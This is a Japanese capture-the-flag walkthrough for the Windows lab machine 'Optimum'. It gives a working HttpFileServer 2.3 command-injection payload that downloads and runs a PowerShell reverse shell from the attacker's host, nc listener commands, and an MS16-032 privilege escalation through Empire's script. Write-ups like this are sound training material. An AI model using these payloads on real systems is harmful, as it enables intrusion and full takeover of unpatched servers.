Optimumはwindowsのマシンで、難易度はeasyです。

・使用ツール
sherlock
Empireペイロード
流れとしては、以下のようになっています。
1.Http File Serverのコマンドインジェクションを利用してシェルを奪う
2.sherlockで特権エスカレーションの脆弱性を特定する
3.Empireのペイロードを利用して、特権エスカレーションを実行する
目次
1.Enumeration
nmpaでオープンポートが、80であることを確認
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.8 -o ports

nmapでバージョン情報を確認を実行(-sVオプション)
「HttpFileServer httpd 2.3」を使用していることが分かります。
nmap -p80 -Pn -sV -sC -o nmap 10.10.10.8

2.Exploitation
Http File Server にはコマンドを実行できる機能があります。
https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

この機能を利用して、シェルを取得します。
「Search」の項目で、「go」を押下した際にコマンドインジェクションが発生します。

powershellのペイロードなどをダウンロードします。
sudo git clone https://github.com/samratashok/nishang.git
ダウンロードしたペイロードをコピーします。
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
「Invoke-PowerShellTcp.ps1」の最終行に「Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 1234」を追記します。
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 1234" >> Invoke-PowerShellTcp.ps1
httpサーバを立てて、ncコマンドで接続を待ち受けます。
python -m SimpleHTTPServer 8000
nc -nlvp 1234
powershellで作成したペイロードにアクセスさせます。
※PowerShellは以下のディレクトリに存在します。
c:\Windows\System32
c:\Windows\SysWow64
c:\Windows\SysNative\
%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-PowerShellTcp.ps1').}
リバースシェル取得のフロー
①BurpSuiteを起動し、「Intercept is on」にする

②%00を入力し、「go」を押下

③パラメーターを下記に変更し、送ります。
%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-PowerShellTcp.ps1').}
変更前

変更後(URLエンコードをさせてます)

④リバースシェルが成功します。

3.Privilege Escalation
管理者権限はないみたいなので、特権エスカレーションが必要です。

systeminfoで確認したところ、パッチはいくつか適用されています。

権限昇格の脆弱を見つけるために、sherlockを使用します。
githubからダウンロードします。
sudo git clone https://github.com/rasta-mouse/Sherlock.git
コピーします。

下記のコマンドで実行できる関数を確認し、全ての脆弱性をチェックしたいので、「Find-AllVulns」をSherlock.ps1の最終行に追記します。
grep -i function Sherlock.ps1

echo "Find-AllVulns" >> Sherlock.ps1
対象のマシンでSherlock.ps1をダウンロードすると、該当する脆弱性の一覧が表示されます。「MS16-032」の脆弱性があるので、その脆弱性を利用します。
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Sherlock.ps1')

Empireのコードを利用するため、ダウンロードします。
sudo git clone https://github.com/EmpireProject/Empire.git
「MS16-032」のペイロードをコピーします。

使い方は「Invoke-MS16032.ps1」の中に記載されています。

「Invoke-MS16032.ps1」の最終行に「Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘http://10.10.14.14:8000/shell.ps1’)”」を追記します。
echo 'Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/shell.ps1')"' >> Invoke-MS16032.ps1
「Invoke-PowerShellTcp.ps1」を「shell.ps1」の名前でコピーして、最終行の待ち受けポートを「1234」から「1235」に変更します。

「1235」ポートで接続を待ち受けます。

対象のマシンでInvoke-MS16032.ps1にアクセスします。
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/Invoke-MS16032.ps1')

管理者権限が取得できました。
